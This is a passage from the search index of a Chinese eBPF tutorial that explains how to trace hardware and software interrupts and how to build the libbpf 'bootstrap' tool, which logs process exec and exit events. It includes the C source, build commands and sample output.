捕获中断事件 » eBPF 入门开发实践教程十：在 eBPF 中使用 hardirqs 或 softirqs 捕获中断事件","id":"57","title":"eBPF 入门开发实践教程十：在 eBPF 中使用 hardirqs 或 softirqs 捕获中断事件"},"58":{"body":"hardirqs 是硬件中断处理程序。当硬件设备产生一个中断请求时，内核会将该请求映射到一个特定的中断向量，然后执行与之关联的硬件中断处理程序。硬件中断处理程序通常用于处理设备驱动程序中的事件，例如设备数据传输完成或设备错误。 softirqs 是软件中断处理程序。它们是内核中的一种底层异步事件处理机制，用于处理内核中的高优先级任务。softirqs 通常用于处理网络协议栈、磁盘子系统和其他内核组件中的事件。与硬件中断处理程序相比，软件中断处理程序具有更高的灵活性和可配置性。","breadcrumbs":"使用 hardirqs 或 softirqs 捕获中断事件 » hardirqs 和 softirqs 是什么？","id":"58","title":"hardirqs 和 softirqs 是什么？"},"59":{"body":"在 eBPF 中，我们可以通过挂载特定的 kprobe 或者 tracepoint 来捕获和分析 hardirqs 和 softirqs。为了捕获 hardirqs 和 softirqs，需要在相关的内核函数上放置 eBPF 程序。这些函数包括： 对于 hardirqs：irq_handler_entry 和 irq_handler_exit。 对于 softirqs：softirq_entry 和 softirq_exit。 当内核处理 hardirqs 或 softirqs 时，这些 eBPF 程序会被执行，从而收集相关信息，如中断向量、中断处理程序的执行时间等。收集到的信息可以用于分析内核中的性能问题和其他与中断处理相关的问题。 为了捕获 hardirqs 和 softirqs，可以遵循以下步骤： 在 eBPF 程序中定义用于存储中断信息的数据结构和映射。 编写 eBPF 程序，将其挂载到相应的内核函数上，以捕获 hardirqs 或 softirqs。 在 eBPF 程序中，收集中断处理程序的相关信息，并将这些信息存储在映射中。 在用户空间应用程序中，读取映射中的数据以分析和展示中断处理信息。 通过上述方法，我们可以在 eBPF 中使用 hardirqs 和 softirqs 捕获和分析内核中的中断事件，以识别潜在的性能问题和与中断处理相关的问题。","breadcrumbs":"使用 hardirqs 或 softirqs 捕获中断事件 » 实现原理","id":"59","title":"实现原理"},"6":{"body":"原始的eBPF程序编写是非常繁琐和困难的。为了改变这一现状，llvm于2015年推出了可以将由高级语言编写的代码编译为eBPF字节码的功能，同时，eBPF 社区将 bpf() 等原始的系统调用进行了初步地封装，给出了libbpf库。这些库会包含将字节码加载到内核中的函数以及一些其他的关键函数。在Linux的源码包的samples/bpf/目录下，有大量Linux提供的基于libbpf的eBPF样例代码。 一个典型的基于 libbpf 的eBPF程序具有*_kern.c和*_user.c两个文件，*_kern.c中书写在内核中的挂载点以及处理函数，*_user.c中书写用户态代码，完成内核态代码注入以及与用户交互的各种任务。 更为详细的教程可以参考 该视频 然而由于该方法仍然较难理解且入门存在一定的难度，因此现阶段的eBPF程序开发大多基于一些工具，比如： BCC BPFtrace libbpf-bootstrap Go eBPF library 以及还有比较新的工具，例如 eunomia-bpf.","breadcrumbs":"介绍 eBPF 的基本概念、常见的开发工具 » 3. 如何使用eBPF编程","id":"6","title":"3. 如何使用eBPF编程"},"60":{"body":"hardirqs 程序的主要目的是获取中断处理程序的名称、执行次数和执行时间，并以直方图的形式展示执行时间的分布。让我们一步步分析这段代码。 // SPDX-License-Identifier: GPL-2.0\n// Copyright (c) 2020 Wenbo Zhang\n#include \n#include \n#include \n#include \n#include \"hardirqs.h\"\n#include \"bits.bpf.h\"\n#include \"maps.bpf.h\" #define MAX_ENTRIES 256 const volatile bool filter_cg = false;\nconst volatile bool targ_dist = false;\nconst volatile bool targ_ns = false;\nconst volatile bool do_count = false; struct { __uint(type, BPF_MAP_TYPE_CGROUP_ARRAY); __type(key, u32); __type(value, u32); __uint(max_entries, 1);\n} cgroup_map SEC(\".maps\"); struct { __uint(type, BPF_MAP_TYPE_PERCPU_ARRAY); __uint(max_entries, 1); __type(key, u32); __type(value, u64);\n} start SEC(\".maps\"); struct { __uint(type, BPF_MAP_TYPE_HASH); __uint(max_entries, MAX_ENTRIES); __type(key, struct irq_key); __type(value, struct info);\n} infos SEC(\".maps\"); static struct info zero; static int handle_entry(int irq, struct irqaction *action)\n{ if (filter_cg && !bpf_current_task_under_cgroup(&cgroup_map, 0)) return 0; if (do_count) { struct irq_key key = {}; struct info *info; bpf_probe_read_kernel_str(&key.name, sizeof(key.name), BPF_CORE_READ(action, name)); info = bpf_map_lookup_or_try_init(&infos, &key, &zero); if (!info) return 0; info->count += 1; return 0; } else { u64 ts = bpf_ktime_get_ns(); u32 key = 0; if (filter_cg && !bpf_current_task_under_cgroup(&cgroup_map, 0)) return 0; bpf_map_update_elem(&start, &key, &ts, BPF_ANY); return 0; }\n} static int handle_exit(int irq, struct irqaction *action)\n{ struct irq_key ikey = {}; struct info *info; u32 key = 0; u64 delta; u64 *tsp; if (filter_cg && !bpf_current_task_under_cgroup(&cgroup_map, 0)) return 0; tsp = bpf_map_lookup_elem(&start, &key); if (!tsp) return 0; delta = bpf_ktime_get_ns() - *tsp; if (!targ_ns) delta /= 1000U; bpf_probe_read_kernel_str(&ikey.name, sizeof(ikey.name), BPF_CORE_READ(action, name)); info = bpf_map_lookup_or_try_init(&infos, &ikey, &zero); if (!info) return 0; if (!targ_dist) { info->count += delta; } else { u64 slot; slot = log2(delta); if (slot >= MAX_SLOTS) slot = MAX_SLOTS - 1; info->slots[slot]++; } return 0;\n} SEC(\"tp_btf/irq_handler_entry\")\nint BPF_PROG(irq_handler_entry_btf, int irq, struct irqaction *action)\n{ return handle_entry(irq, action);\n} SEC(\"tp_btf/irq_handler_exit\")\nint BPF_PROG(irq_handler_exit_btf, int irq, struct irqaction *action)\n{ return handle_exit(irq, action);\n} SEC(\"raw_tp/irq_handler_entry\")\nint BPF_PROG(irq_handler_entry, int irq, struct irqaction *action)\n{ return handle_entry(irq, action);\n} SEC(\"raw_tp/irq_handler_exit\")\nint BPF_PROG(irq_handler_exit, int irq, struct irqaction *action)\n{ return handle_exit(irq, action);\n} char LICENSE[] SEC(\"license\") = \"GPL\"; 这段代码是一个 eBPF 程序，用于捕获和分析内核中硬件中断处理程序（hardirqs）的执行信息。程序的主要目的是获取中断处理程序的名称、执行次数和执行时间，并以直方图的形式展示执行时间的分布。让我们一步步分析这段代码。 包含必要的头文件和定义数据结构： #include \n#include \n#include \n#include \n#include \"hardirqs.h\"\n#include \"bits.bpf.h\"\n#include \"maps.bpf.h\" 该程序包含了 eBPF 开发所需的标准头文件，以及用于定义数据结构和映射的自定义头文件。 定义全局变量和映射： #define MAX_ENTRIES 256 const volatile bool filter_cg = false;\nconst volatile bool targ_dist = false;\nconst volatile bool targ_ns = false;\nconst volatile bool do_count = false; ... 该程序定义了一些全局变量，用于配置程序的行为。例如，filter_cg 控制是否过滤 cgroup，targ_dist 控制是否显示执行时间的分布等。此外，程序还定义了三个映射，分别用于存储 cgroup 信息、开始时间戳和中断处理程序的信息。 定义两个辅助函数 handle_entry 和 handle_exit： 这两个函数分别在中断处理程序的入口和出口处被调用。handle_entry 记录开始时间戳或更新中断计数，handle_exit 计算中断处理程序的执行时间，并将结果存储到相应的信息映射中。 定义 eBPF 程序的入口点： SEC(\"tp_btf/irq_handler_entry\")\nint BPF_PROG(irq_handler_entry_btf, int irq, struct irqaction *action)\n{\nreturn handle_entry(irq, action);\n} SEC(\"tp_btf/irq_handler_exit\")\nint BPF_PROG(irq_handler_exit_btf, int irq, struct irqaction *action)\n{\nreturn handle_exit(irq, action);\n} SEC(\"raw_tp/irq_handler_entry\")\nint BPF_PROG(irq_handler_entry, int irq, struct irqaction *action)\n{\nreturn handle_entry(irq, action);\n} SEC(\"raw_tp/irq_handler_exit\")\nint BPF_PROG(irq_handler_exit, int irq, struct irqaction *action)\n{\nreturn handle_exit(irq, action);\n} 这里定义了四个 eBPF 程序入口点，分别用于捕获中断处理程序的入口和出口事件。tp_btf 和 raw_tp 分别代表使用 BPF Type Format（BTF）和原始 tracepoints 捕获事件。这样可以确保程序在不同内核版本上可以移植和运行。 Softirq 代码也类似，这里就不再赘述了。","breadcrumbs":"使用 hardirqs 或 softirqs 捕获中断事件 » hardirqs 代码实现","id":"60","title":"hardirqs 代码实现"},"61":{"body":"eunomia-bpf 是一个结合 Wasm 的开源 eBPF 动态加载运行时和开发工具链，它的目的是简化 eBPF 程序的开发、构建、分发、运行。可以参考 https://github.com/eunomia-bpf/eunomia-bpf 下载和安装 ecc 编译工具链和 ecli 运行时。我们使用 eunomia-bpf 编译运行这个例子。 要编译这个程序，请使用 ecc 工具： $ ecc hardirqs.bpf.c\nCompiling bpf object...\nPacking ebpf object and config into package.json... 然后运行： sudo ecli run ./package.json","breadcrumbs":"使用 hardirqs 或 softirqs 捕获中断事件 » 运行代码","id":"61","title":"运行代码"},"62":{"body":"在本章节（eBPF 入门开发实践教程十：在 eBPF 中使用 hardirqs 或 softirqs 捕获中断事件）中，我们学习了如何使用 eBPF 程序捕获和分析内核中硬件中断处理程序（hardirqs）的执行信息。我们详细讲解了示例代码，包括如何定义数据结构、映射以及 eBPF 程序入口点，以及如何在中断处理程序的入口和出口处调用辅助函数来记录执行信息。 通过学习本章节内容，您应该已经掌握了如何在 eBPF 中使用 hardirqs 或 softirqs 捕获中断事件的方法，以及如何分析这些事件以识别内核中的性能问题和其他与中断处理相关的问题。这些技能对于分析和优化 Linux 内核的性能至关重要。 为了更好地理解和实践 eBPF 编程，我们建议您阅读 eunomia-bpf 的官方文档： https://github.com/eunomia-bpf/eunomia-bpf 。此外，我们还为您提供了完整的教程和源代码，您可以在 https://github.com/eunomia-bpf/bpf-developer-tutorial 中查看和学习。希望本教程能够帮助您顺利入门 eBPF 开发，并为您的进一步学习和实践提供有益的参考。","breadcrumbs":"使用 hardirqs 或 softirqs 捕获中断事件 » 总结","id":"62","title":"总结"},"63":{"body":"eBPF (Extended Berkeley Packet Filter) 是 Linux 内核上的一个强大的网络和性能分析工具。它允许开发者在内核运行时动态加载、更新和运行用户定义的代码。 在本教程中，我们将了解内核态和用户态的 eBPF 程序是如何协同工作的。我们还将学习如何使用原生的 libbpf 开发用户态程序，将 eBPF 应用打包为可执行文件，实现跨内核版本分发。","breadcrumbs":"使用 bootstrap 开发用户态程序并跟踪 exec() 和 exit() 系统调用 » eBPF 入门开发实践教程十一：在 eBPF 中使用 libbpf 开发用户态程序并跟踪 exec() 和 exit() 系统调用","id":"63","title":"eBPF 入门开发实践教程十一：在 eBPF 中使用 libbpf 开发用户态程序并跟踪 exec() 和 exit() 系统调用"},"64":{"body":"libbpf 是一个 C 语言库，伴随内核版本分发，用于辅助 eBPF 程序的加载和运行。它提供了用于与 eBPF 系统交互的一组 C API，使开发者能够更轻松地编写用户态程序来加载和管理 eBPF 程序。这些用户态程序通常用于分析、监控或优化系统性能。 使用 libbpf 库有以下优势： 它简化了 eBPF 程序的加载、更新和运行过程。 它提供了一组易于使用的 API，使开发者能够专注于编写核心逻辑，而不是处理底层细节。 它能够确保与内核中的 eBPF 子系统的兼容性，降低了维护成本。 同时，libbpf 和 BTF（BPF Type Format）都是 eBPF 生态系统的重要组成部分。它们各自在实现跨内核版本兼容方面发挥着关键作用。BTF（BPF Type Format）是一种元数据格式，用于描述 eBPF 程序中的类型信息。BTF 的主要目的是提供一种结构化的方式，以描述内核中的数据结构，以便 eBPF 程序可以更轻松地访问和操作它们。 BTF 在实现跨内核版本兼容方面的关键作用如下： BTF 允许 eBPF 程序访问内核数据结构的详细类型信息，而无需对特定内核版本进行硬编码。这使得 eBPF 程序可以适应不同版本的内核，从而实现跨内核版本兼容。 通过使用 BPF CO-RE（Compile Once, Run Everywhere）技术，eBPF 程序可以利用 BTF 在编译时解析内核数据结构的类型信息，进而生成可以在不同内核版本上运行的 eBPF 程序。 结合 libbpf 和 BTF，eBPF 程序可以在各种不同版本的内核上运行，而无需为每个内核版本单独编译。这极大地提高了 eBPF 生态系统的可移植性和兼容性，降低了开发和维护的难度。","breadcrumbs":"使用 bootstrap 开发用户态程序并跟踪 exec() 和 exit() 系统调用 » libbpf 库，以及为什么需要使用它","id":"64","title":"libbpf 库，以及为什么需要使用它"},"65":{"body":"Bootstrap 是一个使用 libbpf 的完整应用，它利用 eBPF 程序来跟踪内核中的 exec() 系统调用（通过 SEC(\"tp/sched/sched_process_exec\") handle_exec BPF 程序），这主要对应于新进程的创建（不包括 fork() 部分）。此外，它还跟踪进程的 exit() 系统调用（通过 SEC(\"tp/sched/sched_process_exit\") handle_exit BPF 程序），以了解每个进程何时退出。 这两个 BPF 程序共同工作，允许捕获关于新进程的有趣信息，例如二进制文件的文件名，以及测量进程的生命周期，并在进程结束时收集有趣的统计信息，例如退出代码或消耗的资源量等。这是深入了解内核内部并观察事物如何真正运作的良好起点。 Bootstrap 还使用 argp API（libc 的一部分）进行命令行参数解析，使得用户可以通过命令行选项配置应用行为。这种方式提供了灵活性，让用户能够根据实际需求自定义程序行为。虽然这些功能使用 eunomia-bpf 工具也可以实现，但是这里我们使用 libbpf 可以在用户态提供更高的可扩展性，不过也带来了不少额外的复杂度。","breadcrumbs":"使用 bootstrap 开发用户态程序并跟踪 exec() 和 exit() 系统调用 » 什么是 bootstrap","id":"65","title":"什么是 bootstrap"},"66":{"body":"Bootstrap 分为两个部分：内核态和用户态。内核态部分是一个 eBPF 程序，它跟踪 exec() 和 exit() 系统调用。用户态部分是一个 C 语言程序，它使用 libbpf 库来加载和运行内核态程序，并处理从内核态程序收集的数据。","breadcrumbs":"使用 bootstrap 开发用户态程序并跟踪 exec() 和 exit() 系统调用 » Bootstrap","id":"66","title":"Bootstrap"},"67":{"body":"// SPDX-License-Identifier: GPL-2.0 OR BSD-3-Clause\n/* Copyright (c) 2020 Facebook */\n#include \"vmlinux.h\"\n#include \n#include \n#include \n#include \"bootstrap.h\" char LICENSE[] SEC(\"license\") = \"Dual BSD/GPL\"; struct { __uint(type, BPF_MAP_TYPE_HASH); __uint(max_entries, 8192); __type(key, pid_t); __type(value, u64);\n} exec_start SEC(\".maps\"); struct { __uint(type, BPF_MAP_TYPE_RINGBUF); __uint(max_entries, 256 * 1024);\n} rb SEC(\".maps\"); const volatile unsigned long long min_duration_ns = 0; SEC(\"tp/sched/sched_process_exec\")\nint handle_exec(struct trace_event_raw_sched_process_exec *ctx)\n{ struct task_struct *task; unsigned fname_off; struct event *e; pid_t pid; u64 ts; /* remember time exec() was executed for this PID */ pid = bpf_get_current_pid_tgid() >> 32; ts = bpf_ktime_get_ns(); bpf_map_update_elem(&exec_start, &pid, &ts, BPF_ANY); /* don't emit exec events when minimum duration is specified */ if (min_duration_ns) return 0; /* reserve sample from BPF ringbuf */ e = bpf_ringbuf_reserve(&rb, sizeof(*e), 0); if (!e) return 0; /* fill out the sample with data */ task = (struct task_struct *)bpf_get_current_task(); e->exit_event = false; e->pid = pid; e->ppid = BPF_CORE_READ(task, real_parent, tgid); bpf_get_current_comm(&e->comm, sizeof(e->comm)); fname_off = ctx->__data_loc_filename & 0xFFFF; bpf_probe_read_str(&e->filename, sizeof(e->filename), (void *)ctx + fname_off); /* successfully submit it to user-space for post-processing */ bpf_ringbuf_submit(e, 0); return 0;\n} SEC(\"tp/sched/sched_process_exit\")\nint handle_exit(struct trace_event_raw_sched_process_template* ctx)\n{ struct task_struct *task; struct event *e; pid_t pid, tid; u64 id, ts, *start_ts, duration_ns = 0; /* get PID and TID of exiting thread/process */ id = bpf_get_current_pid_tgid(); pid = id >> 32; tid = (u32)id; /* ignore thread exits */ if (pid != tid) return 0; /* if we recorded start of the process, calculate lifetime duration */ start_ts = bpf_map_lookup_elem(&exec_start, &pid); if (start_ts) duration_ns = bpf_ktime_get_ns() - *start_ts; else if (min_duration_ns) return 0; bpf_map_delete_elem(&exec_start, &pid); /* if process didn't live long enough, return early */ if (min_duration_ns && duration_ns < min_duration_ns) return 0; /* reserve sample from BPF ringbuf */ e = bpf_ringbuf_reserve(&rb, sizeof(*e), 0); if (!e) return 0; /* fill out the sample with data */ task = (struct task_struct *)bpf_get_current_task(); e->exit_event = true; e->duration_ns = duration_ns; e->pid = pid; e->ppid = BPF_CORE_READ(task, real_parent, tgid); e->exit_code = (BPF_CORE_READ(task, exit_code) >> 8) & 0xff; bpf_get_current_comm(&e->comm, sizeof(e->comm)); /* send data to user-space for post-processing */ bpf_ringbuf_submit(e, 0); return 0;\n} 这段代码是一个内核态 eBPF 程序（bootstrap.bpf.c），主要用于跟踪 exec() 和 exit() 系统调用。它通过 eBPF 程序捕获进程的创建和退出事件，并将相关信息发送到用户态程序进行处理。下面是对代码的详细解释。 首先，我们引入所需的头文件，定义 eBPF 程序的许可证以及两个 eBPF maps：exec_start 和 rb。exec_start 是一个哈希类型的 eBPF map，用于存储进程开始执行时的时间戳。rb 是一个环形缓冲区类型的 eBPF map，用于存储捕获的事件数据，并将其发送到用户态程序。 #include \"vmlinux.h\"\n#include \n#include \n#include \n#include \"bootstrap.h\" char LICENSE[] SEC(\"license\") = \"Dual BSD/GPL\"; struct { __uint(type, BPF_MAP_TYPE_HASH); __uint(max_entries, 8192); __type(key, pid_t); __type(value, u64);\n} exec_start SEC(\".maps\"); struct { __uint(type, BPF_MAP_TYPE_RINGBUF); __uint(max_entries, 256 * 1024);\n} rb SEC(\".maps\"); const volatile unsigned long long min_duration_ns = 0; 接下来，我们定义了一个名为 handle_exec 的 eBPF 程序，它会在进程执行 exec() 系统调用时触发。首先，我们从当前进程中获取 PID，记录进程开始执行的时间戳，然后将其存储在 exec_start map 中。 SEC(\"tp/sched/sched_process_exec\")\nint handle_exec(struct trace_event_raw_sched_process_exec *ctx)\n{ // ... pid = bpf_get_current_pid_tgid() >> 32; ts = bpf_ktime_get_ns(); bpf_map_update_elem(&exec_start, &pid, &ts, BPF_ANY); // ...\n} 然后，我们从环形缓冲区 map rb 中预留一个事件结构，并填充相关数据，如进程 ID、父进程 ID、进程名等。之后，我们将这些数据发送到用户态程序进行处理。 // reserve sample from BPF ringbuf e = bpf_ringbuf_reserve(&rb, sizeof(*e), 0); if (!e) return 0; // fill out the sample with data task = (struct task_struct *)bpf_get_current_task(); e->exit_event = false; e->pid = pid; e->ppid = BPF_CORE_READ(task, real_parent, tgid); bpf_get_current_comm(&e->comm, sizeof(e->comm)); fname_off = ctx->__data_loc_filename & 0xFFFF; bpf_probe_read_str(&e->filename, sizeof(e->filename), (void *)ctx + fname_off); // successfully submit it to user-space for post-processing bpf_ringbuf_submit(e, 0); return 0; 最后，我们定义了一个名为 handle_exit 的 eBPF 程序，它会在进程执行 exit() 系统调用时触发。首先，我们从当前进程中获取 PID 和 TID（线程 ID）。如果 PID 和 TID 不相等，说明这是一个线程退出，我们将忽略此事件。 SEC(\"tp/sched/sched_process_exit\")\nint handle_exit(struct trace_event_raw_sched_process_template* ctx)\n{ // ... id = bpf_get_current_pid_tgid(); pid = id >> 32; tid = (u32)id; /* ignore thread exits */ if (pid != tid) return 0; // ...\n} 接着，我们查找之前存储在 exec_start map 中的进程开始执行的时间戳。如果找到了时间戳，我们将计算进程的生命周期（持续时间），然后从 exec_start map 中删除该记录。如果未找到时间戳且指定了最小持续时间，则直接返回。 // if we recorded start of the process, calculate lifetime duration start_ts = bpf_map_lookup_elem(&exec_start, &pid); if (start_ts) duration_ns = bpf_ktime_get_ns() - *start_ts; else if (min_duration_ns) return 0; bpf_map_delete_elem(&exec_start, &pid); // if process didn't live long enough, return early if (min_duration_ns && duration_ns < min_duration_ns) return 0; 然后，我们从环形缓冲区 map rb 中预留一个事件结构，并填充相关数据，如进程 ID、父进程 ID、进程名、进程持续时间等。最后，我们将这些数据发送到用户态程序进行处理。 /* reserve sample from BPF ringbuf */ e = bpf_ringbuf_reserve(&rb, sizeof(*e), 0); if (!e) return 0; /* fill out the sample with data */ task = (struct task_struct *)bpf_get_current_task(); e->exit_event = true; e->duration_ns = duration_ns; e->pid = pid; e->ppid = BPF_CORE_READ(task, real_parent, tgid); e->exit_code = (BPF_CORE_READ(task, exit_code) >> 8) & 0xff; bpf_get_current_comm(&e->comm, sizeof(e->comm)); /* send data to user-space for post-processing */ bpf_ringbuf_submit(e, 0); return 0;\n} 这样，当进程执行 exec() 或 exit() 系统调用时，我们的 eBPF 程序会捕获相应的事件，并将详细信息发送到用户态程序进行后续处理。这使得我们可以轻松地监控进程的创建和退出，并获取有关进程的详细信息。 除此之外，在 bootstrap.h 中，我们还定义了和用户态交互的数据结构： /* SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) */\n/* Copyright (c) 2020 Facebook */\n#ifndef __BOOTSTRAP_H\n#define __BOOTSTRAP_H #define TASK_COMM_LEN 16\n#define MAX_FILENAME_LEN 127 struct event { int pid; int ppid; unsigned exit_code; unsigned long long duration_ns; char comm[TASK_COMM_LEN]; char filename[MAX_FILENAME_LEN]; bool exit_event;\n}; #endif /* __BOOTSTRAP_H */","breadcrumbs":"使用 bootstrap 开发用户态程序并跟踪 exec() 和 exit() 系统调用 » 内核态 eBPF 程序 bootstrap.bpf.c","id":"67","title":"内核态 eBPF 程序 bootstrap.bpf.c"},"68":{"body":"// SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause)\n/* Copyright (c) 2020 Facebook */\n#include \n#include \n#include \n#include \n#include \n#include \n#include \"bootstrap.h\"\n#include \"bootstrap.skel.h\" static struct env { bool verbose; long min_duration_ms;\n} env; const char *argp_program_version = \"bootstrap 0.0\";\nconst char *argp_program_bug_address = \"\";\nconst char argp_program_doc[] =\n\"BPF bootstrap demo application.\\n\"\n\"\\n\"\n\"It traces process start and exits and shows associated \\n\"\n\"information (filename, process duration, PID and PPID, etc).\\n\"\n\"\\n\"\n\"USAGE: ./bootstrap [-d ] [-v]\\n\"; static const struct argp_option opts[] = { { \"verbose\", 'v', NULL, 0, \"Verbose debug output\" }, { \"duration\", 'd', \"DURATION-MS\", 0, \"Minimum process duration (ms) to report\" }, {},\n}; static error_t parse_arg(int key, char *arg, struct argp_state *state)\n{ switch (key) { case 'v': env.verbose = true; break; case 'd': errno = 0; env.min_duration_ms = strtol(arg, NULL, 10); if (errno || env.min_duration_ms <= 0) { fprintf(stderr, \"Invalid duration: %s\\n\", arg); argp_usage(state); } break; case ARGP_KEY_ARG: argp_usage(state); break; default: return ARGP_ERR_UNKNOWN; } return 0;\n} static const struct argp argp = { .options = opts, .parser = parse_arg, .doc = argp_program_doc,\n}; static int libbpf_print_fn(enum libbpf_print_level level, const char *format, va_list args)\n{ if (level == LIBBPF_DEBUG && !env.verbose) return 0; return vfprintf(stderr, format, args);\n} static volatile bool exiting = false; static void sig_handler(int sig)\n{ exiting = true;\n} static int handle_event(void *ctx, void *data, size_t data_sz)\n{ const struct event *e = data; struct tm *tm; char ts[32]; time_t t; time(&t); tm = localtime(&t); strftime(ts, sizeof(ts), \"%H:%M:%S\", tm); if (e->exit_event) { printf(\"%-8s %-5s %-16s %-7d %-7d [%u]\", ts, \"EXIT\", e->comm, e->pid, e->ppid, e->exit_code); if (e->duration_ns) printf(\" (%llums)\", e->duration_ns / 1000000); printf(\"\\n\"); } else { printf(\"%-8s %-5s %-16s %-7d %-7d %s\\n\", ts, \"EXEC\", e->comm, e->pid, e->ppid, e->filename); } return 0;\n} int main(int argc, char **argv)\n{ struct ring_buffer *rb = NULL; struct bootstrap_bpf *skel; int err; /* Parse command line arguments */ err = argp_parse(&argp, argc, argv, 0, NULL, NULL); if (err) return err; /* Set up libbpf errors and debug info callback */ libbpf_set_print(libbpf_print_fn); /* Cleaner handling of Ctrl-C */ signal(SIGINT, sig_handler); signal(SIGTERM, sig_handler); /* Load and verify BPF application */ skel = bootstrap_bpf__open(); if (!skel) { fprintf(stderr, \"Failed to open and load BPF skeleton\\n\"); return 1; } /* Parameterize BPF code with minimum duration parameter */ skel->rodata->min_duration_ns = env.min_duration_ms * 1000000ULL; /* Load & verify BPF programs */ err = bootstrap_bpf__load(skel); if (err) { fprintf(stderr, \"Failed to load and verify BPF skeleton\\n\"); goto cleanup; } /* Attach tracepoints */ err = bootstrap_bpf__attach(skel); if (err) { fprintf(stderr, \"Failed to attach BPF skeleton\\n\"); goto cleanup; } /* Set up ring buffer polling */ rb = ring_buffer__new(bpf_map__fd(skel->maps.rb), handle_event, NULL, NULL); if (!rb) { err = -1; fprintf(stderr, \"Failed to create ring buffer\\n\"); goto cleanup; } /* Process events */ printf(\"%-8s %-5s %-16s %-7s %-7s %s\\n\", \"TIME\", \"EVENT\", \"COMM\", \"PID\", \"PPID\", \"FILENAME/EXIT CODE\"); while (!exiting) { err = ring_buffer__poll(rb, 100 /* timeout, ms */); /* Ctrl-C will cause -EINTR */ if (err == -EINTR) { err = 0; break; } if (err < 0) { printf(\"Error polling perf buffer: %d\\n\", err); break; } } cleanup: /* Clean up */ ring_buffer__free(rb); bootstrap_bpf__destroy(skel); return err < 0 ? -err : 0;\n} 这个用户态程序主要用于加载、验证、附加 eBPF 程序，以及接收 eBPF 程序收集的事件数据，并将其打印出来。我们将分析一些关键部分。 首先，我们定义了一个 env 结构，用于存储命令行参数： static struct env { bool verbose; long min_duration_ms;\n} env; 接下来，我们使用 argp 库来解析命令行参数： static const struct argp_option opts[] = { { \"verbose\", 'v', NULL, 0, \"Verbose debug output\" }, { \"duration\", 'd', \"DURATION-MS\", 0, \"Minimum process duration (ms) to report\" }, {},\n}; static error_t parse_arg(int key, char *arg, struct argp_state *state)\n{ // ...\n} static const struct argp argp = { .options = opts, .parser = parse_arg, .doc = argp_program_doc,\n}; main() 函数中，首先解析命令行参数，然后设置 libbpf 的打印回调函数 libbpf_print_fn，以便在需要时输出调试信息： err = argp_parse(&argp, argc, argv, 0, NULL, NULL);\nif (err) return err; libbpf_set_print(libbpf_print_fn); 接下来，我们打开 eBPF 脚手架（skeleton）文件，将最小持续时间参数传递给 eBPF 程序，并加载和附加 eBPF 程序： skel = bootstrap_bpf__open();\nif (!skel) { fprintf(stderr, \"Failed to open and load BPF skeleton\\n\"); return 1;\n} skel->rodata->min_duration_ns = env.min_duration_ms * 1000000ULL; err = bootstrap_bpf__load(skel);\nif (err) { fprintf(stderr, \"Failed to load and verify BPF skeleton\\n\"); goto cleanup;\n} err = bootstrap_bpf__attach(skel);\nif (err) { fprintf(stderr, \"Failed to attach BPF skeleton\\n\"); goto cleanup;\n} 然后，我们创建一个环形缓冲区（ring buffer），用于接收 eBPF 程序发送的事件数据： rb = ring_buffer__new(bpf_map__fd(skel->maps.rb), handle_event, NULL, NULL);\nif (!rb) { err = -1; fprintf(stderr, \"Failed to create ring buffer\\n\"); goto cleanup;\n} handle_event() 函数会处理从 eBPF 程序收到的事件。根据事件类型（进程执行或退出），它会提取并打印事件信息，如时间戳、进程名、进程 ID、父进程 ID、文件名或退出代码等。 最后，我们使用 ring_buffer__poll() 函数轮询环形缓冲区，处理收到的事件数据： while (!exiting) { err = ring_buffer__poll(rb, 100 /* timeout, ms */); // ...\n} 当程序收到 SIGINT 或 SIGTERM 信号时，它会最后完成清理、退出操作，关闭和卸载 eBPF 程序： cleanup: /* Clean up */ ring_buffer__free(rb); bootstrap_bpf__destroy(skel); return err < 0 ? -err : 0;\n}","breadcrumbs":"使用 bootstrap 开发用户态程序并跟踪 exec() 和 exit() 系统调用 » 用户态，bootstrap.c","id":"68","title":"用户态，bootstrap.c"},"69":{"body":"构建示例需要 clang、libelf 和 zlib。包名在不同的发行版中可能会有所不同。 在 Ubuntu/Debian 上，你需要执行以下命令： sudo apt install clang libelf1 libelf-dev zlib1g-dev 在 CentOS/Fedora 上，你需要执行以下命令： sudo dnf install clang elfutils-libelf elfutils-libelf-devel zlib-devel","breadcrumbs":"使用 bootstrap 开发用户态程序并跟踪 exec() 和 exit() 系统调用 » 安装依赖","id":"69","title":"安装依赖"},"7":{"body":"eBPF 程序由内核态部分和用户态部分构成。内核态部分包含程序的实际逻辑，用户态部分负责加载和管理内核态部分。使用 eunomia-bpf 开发工具，只需编写内核态部分的代码。 内核态部分的代码需要符合 eBPF 的语法和指令集。eBPF 程序主要由若干个函数组成，每个函数都有其特定的作用。可以使用的函数类型包括： kprobe：插探函数，在指定的内核函数前或后执行。 tracepoint：跟踪点函数，在指定的内核跟踪点处执行。 raw_tracepoint：原始跟踪点函数，在指定的内核原始跟踪点处执行。 xdp：网络数据处理函数，拦截和处理网络数据包。 perf_event：性能事件函数，用于处理内核性能事件。 kretprobe：函数返回插探函数，在指定的内核函数返回时执行。 tracepoint_return：跟踪点函数返回，在指定的内核跟踪点返回时执行。 raw_tracepoint_return：原始跟踪点函数返回，在指定的内核原始跟踪","breadcrumbs":"介绍 eBPF 的基本概念、常见的开发工具 » 编写 eBPF 程序","id":"7","title":"编写 eBPF 程序"},"70":{"body":"编译运行上述代码： $ git submodule update --init --recursive\n$ make BPF .output/bootstrap.bpf.o GEN-SKEL .output/bootstrap.skel.h CC .output/bootstrap.o BINARY bootstrap\n$ sudo ./bootstrap [sudo] password for yunwei: TIME EVENT COMM PID PPID FILENAME/EXIT CODE\n03:16:41 EXEC sh 110688 80168 /bin/sh\n03:16:41 EXEC which 110689 110688 /usr/bin/which\n03:16:41 EXIT which 110689 110688 [0] (0ms)\n03:16:41 EXIT sh 110688 80168 [0] (0ms)\n03:16:41 EXEC sh 110690 80168 /bin/sh\n03:16:41 EXEC ps 110691 110690 /usr/bin/ps\n03:16:41 EXIT ps 110691 110690 [0] (49ms)\n03:16:41 EXIT sh 110690 80168 [0] (51ms)","breadcrumbs":"使用 bootstrap 开发用户态程序并跟踪 exec() 和 exit() 系统调用 » 编译运行","id":"70","title":"编译运行"},"71":{"body":"通过这个实例，我们了解了如何将 eBPF 程序与用户态程序结合使用。这种结合为开发者提供了一个强大的工具集，可以实现跨内核和用户空间的高效数据收集和处理。通过使用 eBPF 和 libbpf，您可以构建更高效、可扩展和安全的监控和性能分析工具。 如果您希望学习更多关于 eBPF 